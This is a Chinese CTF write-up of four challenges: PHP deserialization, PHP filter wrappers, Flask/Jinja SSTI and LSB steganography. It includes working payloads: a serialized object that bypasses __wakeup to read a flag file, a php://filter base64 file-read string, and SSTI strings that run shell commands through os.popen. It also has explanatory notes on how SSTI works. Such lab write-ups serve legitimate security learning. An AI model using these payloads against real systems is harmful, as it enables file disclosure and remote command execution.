[SWPUCTF 2022 新生赛]ez_ez_unserialize
知识点:反序列化
进入环境,得到源码
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
代码审计:
它实现了魔术方法
__wakeup()
、__construct()
和__destruct()
,并且使用了highlight_file()
函数来高亮显示指定文件的源代码。在这个示例中,如果存在 POST 请求参数
x
,则调用unserialize()
函数对其进行反序列化。否则,将以高亮方式显示当前文件的源代码。值得注意的是,
__wakeup()
方法会在反序列化时被调用,用于初始化对象的状态。在这个例子中,它检查对象的属性$x
是否和当前文件的路径相同,如果不同,则将其设置为当前文件的路径。最后,
__destruct()
方法在对象被销毁时调用,它调用highlight_file()
函数来高亮显示$x
属性所指向的文件的源代码。注释中提到 “flag is in fllllllag.php”,暗示了其中可能包含了一个名为 “fllllllag.php” 的文件,这可能是一个有关 flag 的文件。
总之就是要绕过wakeup,构造反序列化
payload:
<?php
class X
{
public $x = "fllllllag.php";
}
$x = new X;
$x = serialize($x);
echo str_replace(":1:", ":2:",$x);
?>
O:2:"X":2:{s:2:"x";s:13:"fllllllag.php";}
得到flag
[MoeCTF 2022]baby_file
知识点:PHP伪协议
进入环境
题目标签是PHP伪协议,就之前做的PHP伪协议可以直接构造payload
payload:
file=php://filter/convert.base64-encode/resource=flag.php
结果被其进行base64编码
使用在线工具解码得
[HNCTF 2022 WEEK2]ez_SSTI
知识点:SSTI
参考:SSTI(模板注入)_ssti各种分类_xiaolong22333的博客-CSDN博客
SSTI模板注入漏洞讲解_zxl2605的博客-CSDN博客
题目名字和标签都提示了是SSTI
?name={ {7*‘7’}} 检测出存在 SSTI 无过滤
?name={ {config.class.init.globals[‘os’].popen(‘ls’).read() }} 发现flag
?name={ {config.class.init.globals[‘os’].popen(‘cat flag’).read() }}
最后就可以得到flag
但是这里有一个疑惑,就是参数为什么是name
笔记
SSTI模板注入
SSTI的概念
SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
本文章只研究以python语言为主的SSTI。
SSTI漏洞原理
什么是模板
模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
漏洞原理
服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
[鹤城杯 2021]Misc2
知识点:LSB
拿到附件,根据题目意思可以用LSB隐写工具打开
看到前面的文本有点可疑好像是十六进制数
记下来用工具进行解码得到flag
还有一种就是将图片导入kali,用zsteg打开得到unicode编码,再解码就得到flag